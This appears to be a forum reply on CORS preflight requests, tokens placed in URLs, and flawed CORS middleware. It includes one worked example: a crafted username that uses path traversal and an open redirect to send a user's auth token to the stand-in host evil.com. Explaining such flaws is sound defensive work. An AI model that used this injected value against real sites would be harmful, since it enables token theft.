| I think it's super important to understand that removing the preflight request practically kills the security measures of CORS. With no preflight request, the browser has no idea whether it can make a request until it already has, at which point it can only restrict access to the contents of the response. The reason 'simple' and 'unsimple' exists is that simple requests are just normal XHR requests, and it would be infeasible to change all the web standards to prevent something that has been used for years. Tokens in URLs is a very different, and perhaps drastically more insecure pattern than in headers. The primary issue is that it is extremely common to do: "/api/v1/user/" + username + ".json?token=" + token That might seem fine and dandy, but what if I tell you "username" is now "../../../login?after=//evil.com?x=" Now the url is: /api/v1/user/../../../login?after=//evil.com?x=.json?token=TOKEN -> /login?after=//evil.com?x=.json?token=TOKEN -> http://evil.com?x=json?token=TOKEN Assuming you have an open redirect flaw in your login system (extremely common), I can now exfiltrate user authorization tokens to my own server. Setting Content-Type to text/plain works, but doing this kind of fiddling is pretty scary. If your Content-Type ends up as XML or HTML, you've just opened up your site for global XSS. > The browser does not make an OPTIONS request, the server with awareness can potentially not allow the request. Web frameworks don’t do this because in lieu of better security measures, such as CSRF or using sessionless authentication. If I'm understanding it right, you're saying that if configured correctly, the server can decide to not display information if the CORS rules are not met. This is to my knowledge a misunderstanding of how CORS works. Once you realise that CORS is meant to be a static set of headers cache-able and dedicated to a specific endpoint it makes a lot more sense. With CORS, it is the browser, having been informed by the CORS headers what restrictions are placed on making requests to that endpoint which decides whether a request can go through. This misunderstanding can become ugly when, as I've seen in several popular libraries from my research -- when combined with the 'fail early' pattern. The CORS-aware middleware sends rules to the browser as it validates them, and if one fails exits prematurely. If an earlier CORS rule is purposely failed by an attacker during a preflight request, the middleware will not send all the CORS headers, allowing subsequent requests with less / zero restrictions. |